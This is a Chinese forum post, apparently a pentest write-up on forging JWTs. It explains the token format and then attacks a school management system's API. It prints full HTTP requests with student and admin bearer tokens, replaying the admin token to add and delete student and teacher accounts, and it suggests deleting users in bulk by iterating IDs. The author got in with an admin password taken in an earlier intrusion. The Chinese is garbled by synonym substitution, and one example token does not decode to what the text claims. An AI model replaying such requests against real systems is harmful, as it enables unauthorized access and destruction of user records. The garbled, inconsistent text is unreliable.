记一次JWT伪造的实战漏洞发掘( 审核大大,本篇文章全程打码,并无敏感信息) ...

打印 上一主题 下一主题

主题 864|帖子 864|积分 2592

 审核大大,本篇文章全程打码,并无敏感信息
目录
媒介
1.JWT的原理
1.1 什么是JWT
1.2 JWT的具体构成
1.3 Base64Url编码详解
2. 举例(JWT完备流程)
1. 用户登录
2. 生成JWT
2.1 第一部分 Header
2.2 第二部分:Payload
2.3 第三部分:Signature
3. 返回JWT
4. 携带JWT举行请求
5. 服务器验证JWT
6. 相应请求
3. JWT三种常见的攻击方式
 4. 实战场景
4.1 JWT门生用户未授权添加teacherh和student用户
未授权添加门生用户
未授权添加老师用户
4.2 未授权遍历删除teacher和student用户
删除门生用户
删除teacher用户
5. 修复建议

                                审核大大,本篇文章全程打码,并无敏感信息
媒介

        又是摸鱼的一天,闲的没事,找之前挖到漏洞的一个站玩玩,因为本次漏洞发现的过多写起博文来过长,因此本次单独将JWT这部分找出来举行记录,开局一个框,漏洞端赖扫,哦不对,端赖找.固然全文主要是对使用姿势做个总结,只有思路,没有具体使用,问就是陈诉写起来太费时间了,下面所有的使用流程图,通过打开新页面放大可以清楚检察,可自行下载用.
免责声明

        博文中涉及的方法大概带有危害性,仅供安全研究与教学之用,读者将其方法用作做其他用途,由读者承担全部法律及连带责任,文章作者不负任何责任.

1.JWT的原理

起首先对JWT做一个介绍和记录,不想看的师傅可以直接看实战部分
1.1 什么是JWT

        JWT(JSON Web Token)是一种轻量级的身份验证和信息互换标准,它允许服务之间以JSON对象的形式安全地传输信息。这种信息传输方式之所以安全,是因为JWT通过数字签名来确保信息在传输过程中的完备性和真实性。
1.2 JWT的具体构成

JWT由三个部分组成,每部分之间用点号(.)分隔:

  • Header(头部):界说了用于签名的算法和令牌的类型。通常,头部的JSON对象经过Base64Url编码后,形成JWT的第一个部分。例如:
    1. {
    2.   "alg": "HS256", // 签名算法为HMAC SHA-256
    3.   "typ": "JWT"    // 令牌类型为JWT
    4. }
    复制代码
  • Payload(负载):包含了所谓的声明(claims),这些声明可以是用户的身份信息、发行者、过期时间等。声明分为三类:

    • Registered claims(注册声明):标准化的声明,如exp(过期时间)、iat(签发时间)等。
    • Public claims(公共声明):社区界说的声明,但不是注册声明,如nonce。
    • Private claims(私有声明):自界说声明,用于特定应用的须要。 例如:
    1. {
    2.   "sub": "12345612334", // 用户ID
    3.   "name": "hello",   // 用户名
    4.   "iat": 1516239213     // 签发时间
    5. }
    复制代码

  • Signature(签名):用于验证JWT的完备性和真实性。签名的生成依赖于Header中指定的算法、编码后的Header、编码后的Payload以及一个保密的密钥。例如,使用HMAC SHA-256算法的签名过程如下:
    1. import hmac, hashlib, base64
    2. header_payload = base64.urlsafe_b64encode(b"{Header}." + b"{Payload}").decode()
    3. secret = "your-256-bit-secret"
    4. signature = hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
    5. signature_base64 = base64.urlsafe_b64encode(signature).decode().strip()
    复制代码
  1. HMACSHA256(
  2. base64UrlEncode(header) + "." +
  3. base64UrlEncode(payload),
  4. secret
  5. )
复制代码

1.3 Base64Url编码详解

        Base64Url编码是Base64编码的URL安全版本,它在JWT中用于编码Header、Payload和生成的Signature,以确保它们可以安全地通过URL传输。Base64Url编码与标准Base64编码的主要区别在于:


  • 使用-取代+和使用_取代/,以避免URL解析错误。
  • 省略了添补字符=,以避免URL长度问题。
2. 举例(JWT完备流程)

        因为本次实战是没有发现JWT有做加密的所以还是无法用来当这个举例的案例的,我就伪造一个来展示一下这个完备的流程
1. 用户登录

        假如本次用户在登录页面输入账号密码,然后举行登录。服务器接收到登录请求并验证用户的根据。
2. 生成JWT

如果用户的根据(账号密码)精确,服务器将生成一个JWT。假如服务器将生成的JWT为:
  1. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhlbGxvIiwiaWF0IjoxNTE2MjEyMzQ1fQ.5NMJiA55CcTjy1O4fY1dGPFXRKFsANj-O4kv-kZIu-w
复制代码
2.1 第一部分 Header

具体分解这个JWT的生成过程,一共三个部分,每个部分被点号(.)截断
  1. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
复制代码

 用JSON Web Tokens - jwt.io举行base64url解码得到

  1. {
  2. "alg": "HS256",
  3. "typ": "JWT"
  4. }
复制代码
这个头部使用HMAC SHA-256算法举行签名而且是一个JWT。
2.2 第二部分:Payload

  1. eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
复制代码
base64url解码一下得到


  1. {
  2.   "sub": "1234567890",
  3.   "name": "hello",
  4.   "iat": 1516212345
  5. }
复制代码
这个负载部分包含了一些声明,比如用户ID(sub)、用户名(name)和签发时间(iat)。
2.3 第三部分:Signature

  1. 5NMJiA55CcTjy1O4fY1dGPFXRKFsANj-O4kv-kZIu-w
复制代码
第三部分签名的生成是由第一部分和第二部分组成的
我们使用密钥(secret)来生成签名。签名是使用以下方法生成的:

  • 将编码后的Header和Payload用点号(.)连接在一起:
    1. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhlbGxvIiwiaWF0IjoxNTE2MjEyMzQ1fQ
    复制代码

  • 使用HMAC SHA-256算法和密钥secret对上述字符串举行签名:
    1. import hmac
    2. import hashlib
    3. import base64
    4. header_payload = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhlbGxvIiwiaWF0IjoxNTE2MjEyMzQ1fQ"
    5. secret = "secret"
    6. signature = hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
    7. signature_base64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
    8. print(signature_base64)
    复制代码
    生成的第三部分签名是:
    1. 5NMJiA55CcTjy1O4fY1dGPFXRKFsANj-O4kv-kZIu-w
    复制代码
        末了,将编码后的Header、Payload和生成的Signature用点号(.)连接在一起,形成完备的JWT:
  1. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhlbGxvIiwiaWF0IjoxNTE2MjEyMzQ1fQ.5NMJiA55CcTjy1O4fY1dGPFXRKFsANj-O4kv-kZIu-w
复制代码
3. 返回JWT

        服务器将生成的JWT返回给客户端。客户端可以将JWT存储在本地存储(Local Storage)或Cookie中。
4. 携带JWT举行请求

在用户登录后的每次请求中,客户端会在请求头中携带JWT,例如:
  1. Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODE3OTUsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY4MTk1fQ.ZJgVbck7l0GWvAalFlF-DdhBiUR7mlDMY4iqahedl9UOtUeGjUgNb34WFfHsx_Po8428xyono7aZCWCdgBebww
复制代码
5. 服务器验证JWT

服务器接收到请求后,会验证JWT的签名是否精确。验证过程如下:

  • 从JWT中提取出header和payload部分。
  • 使用同样的签名密钥和header中的算法,重新生成签名。
  • 将重新生成的签名与JWT中的签名举行比力,如果雷同,则验证通过。
6. 相应请求

如果JWT有用且未过期,服务器处理请求并返反相应。
3. JWT三种常见的攻击方式


常见攻击方法

  • 暴力破解签名密钥:攻击者可以使用暴力破解的方法猜测JWT的签名密钥。如果签名密钥比力弱,这种攻击大概会成功。
  • 算法更换攻击:如果服务器在验证JWT时不严格检查头部的alg字段,攻击者可以将alg字段改为none,绕过签名验证。
  • 伪造Token:如果服务器使用对称加密算法(如HS256),并且密钥泄漏,攻击者可以使用密钥伪造有用的JWT。

 4. 实战场景


        因为本次发掘是在之前发掘到其他漏洞基础上举行的发掘,因为拿到了管理员的密码,所以整个测试的过程还是很轻松的,至于其他其他的测试用户都是通过管理员账号举行注册的.

4.1 JWT门生用户未授权添加teacherh和student用户

还是通过上面的 门生用户举行登录 4602xxxxxxxxxxx/123456
        下面因为使用的数据包为在管理员用户时获取的数据包,实验通过普通用户的JWT信息举行举行添加,提示无权限,通过伪造管理员的JWT信息(实在就是通过管理员登录后获得到的JWT然后更换门生的),使用门生用户,使用管理员的JWT信息可以发现成功

未授权添加门生用户

接口1:/api/student/add
  1. POST /api/student/add HTTP/1.1
  2. Host:
  3. Content-Length: 436
  4. Access-Control-Allow-Origin: *
  5. Accept: */*
  6. Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODE3OTUsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY4MTk1fQ.ZJgVbck7l0GWvAalFlF-DdhBiUR7mlDMY4iqahedl9UOtUeGjUgNb34WFfHsx_Po8428xyono7aZCWCdgBebww
  7. User-Agent:
  8. Origin:
  9. Referer:
  10. Accept-Encoding: gzip, deflate, br
  11. Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
  12. Cookie: td_cookie=2317365473; JSESSIONID=31B656C66680B71BC4D56886622B718F
  13. Connection: close
  14. {"id":0,"sid":"3222222222222","no":"32222222222222222","name":"322222222222222","sex":"男","birth":"2024-06-11","ethnicity":"蒙古族","address":"222222222222222","idAddress":"2222222222222222222","section":1,"grade":2023,"clazz":7,"tel":"18888888888","guardian1":"","guardian1ID":"","guardian1Relation":"","guardian1Tel":"","guardian2":"","guardian2ID":"","guardian2Relation":"","guardian2Tel":"","pass":"","deleted":"","updated":""}
复制代码
 可以看到角色信息为门生



将登录门生的JWT更换为管理员的JWT信息 
  1. qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI0NDkiLCJzdWIiOiJhZG1pbiIsImlhdCI6MTcxOTA4MDU1OCwiaXNzIjoiZWNoaXNhbiIsImF1dGhvcml0aWVzIjoiW3tcImF1dGhvcml0eVwiOlwiUk9MRV9hZG1pblwifV0iLCJmcm9tVGFibGUiOiJ0ZWFjaGVyIiwiZXhwIjoxNzE5MTY2OTU4fQ.3dj47oAmKF3QRuhmIyVZ42W7NFEWa_z57Wq4IwA1ef1YmyL-0DPqYLuouOjiCYve8eNXpdUBGGh90bqXH_JnOw  
复制代码



通过管理员用户检察,成功添加成功


未授权添加老师用户

接口2:/api/teacher/add
  1. POST /api/teacher/add HTTP/1.1
  2. Host:
  3. Content-Length: 181
  4. Access-Control-Allow-Origin: *
  5. Accept: */*
  6. Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODE3OTUsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY4MTk1fQ.ZJgVbck7l0GWvAalFlF-DdhBiUR7mlDMY4iqahedl9UOtUeGjUgNb34WFfHsx_Po8428xyono7aZCWCdgBebww
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
  8. Content-Type: application/json
  9. Origin:
  10. Referer:
  11. Accept-Encoding: gzip, deflate, br
  12. Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
  13. Cookie: td_cookie=2317365473; JSESSIONID=31B656C66680B71BC4D56886622B718F
  14. Connection: close
  15. {"id":0,"name":"edu8889","truthname":"edu8889","tel":"18888888888","pass":"","subject":"数学","grade":2023,"birth":"2024-05-28","role":"","email":"1@qq.com","sex":"男","clazz":1}
复制代码


还是更换为管理员的JWT信息
  1. Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI0NDkiLCJzdWIiOiJhZG1pbiIsImlhdCI6MTcxOTA4MDU1OCwiaXNzIjoiZWNoaXNhbiIsImF1dGhvcml0aWVzIjoiW3tcImF1dGhvcml0eVwiOlwiUk9MRV9hZG1pblwifV0iLCJmcm9tVGFibGUiOiJ0ZWFjaGVyIiwiZXhwIjoxNzE5MTY2OTU4fQ.3dj47oAmKF3QRuhmIyVZ42W7NFEWa_z57Wq4IwA1ef1YmyL-0DPqYLuouOjiCYve8eNXpdUBGGh90bqXH_JnOw
复制代码


 通过管理员用户检察,成功添加成功

4.2 未授权遍历删除teacher和student用户

        还是通过上面的 门生用户举行登录 460xxxxxxxxxx/123456 接下来,我只是举行通过编号删除了自己创建的一个测试门生用户以及测试老师账号,这里可以通过前面的未授权获取到的门生id或是直接使用burp从1开始举行编历删除用户即可,危害巨大
操纵实在和上面是一样,直接更换JWT为管理员
删除门生用户

 接口1:/api/student/delete/915253
  1. GET /api/student/delete/915253 HTTP/1.1
  2. Host:
  3. Access-Control-Allow-Origin: *
  4. Accept: */*
  5. Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODMzMDgsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY5NzA4fQ.aF3OqtvSt0K8-GuUqynmCFa1v9t8yj73FJbx79NYZE1Tyjv1w-_kbpCLXwBIAdMGtQmdQgaaRsAlyX7JJ1hrug
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
  7. Referer:
  8. Accept-Encoding: gzip, deflate, br
  9. Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
  10. Cookie: td_cookie=2317365473; JSESSIONID=B41705A40AC15FD2DB994E8C5417FE04
  11. Connection: close
复制代码

还是更换为管理员的JWT信息
  1. Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI0NDkiLCJzdWIiOiJhZG1pbiIsImlhdCI6MTcxOTA4MDU1OCwiaXNzIjoiZWNoaXNhbiIsImF1dGhvcml0aWVzIjoiW3tcImF1dGhvcml0eVwiOlwiUk9MRV9hZG1pblwifV0iLCJmcm9tVGFibGUiOiJ0ZWFjaGVyIiwiZXhwIjoxNzE5MTY2OTU4fQ.3dj47oAmKF3QRuhmIyVZ42W7NFEWa_z57Wq4IwA1ef1YmyL-0DPqYLuouOjiCYve8eNXpdUBGGh90bqXH_JnOw
复制代码

删除teacher用户

接口2:/api/teacher/delete/857009
  1. GET /api/teacher/delete/857009 HTTP/1.1
  2. Host:
  3. Access-Control-Allow-Origin: *
  4. Accept: */*
  5. Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI4NTcwMDciLCJzdWIiOiI0NjAyMDExOTkzMDUwOTQyNDEiLCJpYXQiOjE3MTkwODMzMDgsImlzcyI6ImVjaGlzYW4iLCJhdXRob3JpdGllcyI6Ilt7XCJhdXRob3JpdHlcIjpcIlJPTEVfc3R1ZGVudFwifV0iLCJmcm9tVGFibGUiOiJzdHVkZW50IiwiZXhwIjoxNzE5MTY5NzA4fQ.aF3OqtvSt0K8-GuUqynmCFa1v9t8yj73FJbx79NYZE1Tyjv1w-_kbpCLXwBIAdMGtQmdQgaaRsAlyX7JJ1hrug
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0
  7. Referer:
  8. Accept-Encoding: gzip, deflate, br
  9. Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6
  10. Cookie: td_cookie=2317365473; JSESSIONID=B41705A40AC15FD2DB994E8C5417FE04
  11. Connection: close
复制代码

还是更换为管理员的JWT信息
  1. Authorization: Bearer qieyJhbGciOiJIUzUxMiJ9.eyJqdGkiOiI0NDkiLCJzdWIiOiJhZG1pbiIsImlhdCI6MTcxOTA4MDU1OCwiaXNzIjoiZWNoaXNhbiIsImF1dGhvcml0aWVzIjoiW3tcImF1dGhvcml0eVwiOlwiUk9MRV9hZG1pblwifV0iLCJmcm9tVGFibGUiOiJ0ZWFjaGVyIiwiZXhwIjoxNzE5MTY2OTU4fQ.3dj47oAmKF3QRuhmIyVZ42W7NFEWa_z57Wq4IwA1ef1YmyL-0DPqYLuouOjiCYve8eNXpdUBGGh90bqXH_JnOw
复制代码


5. 修复建议

        为了确保系统的安全性和稳固性,建议采取以下综合措施:加强身份验证和访问控制,实施多因素认证,使用强加密标准掩护JWT和敏感数据,强化输入验证和错误处理,定期举行代码检察和安全测试,使用自动化工具辅助检测逻辑缺陷,制定和测试应急相应计划,以及对开发团队举行安全意识培训。同时,建立反馈机制,鼓励内外反馈,以连续改进系统的安全性。通过这些措施,可以显著降低未授权访问、数据泄漏、逻辑缺陷等安全风险,掩护系统和用户数据不受威胁。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

兜兜零元

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表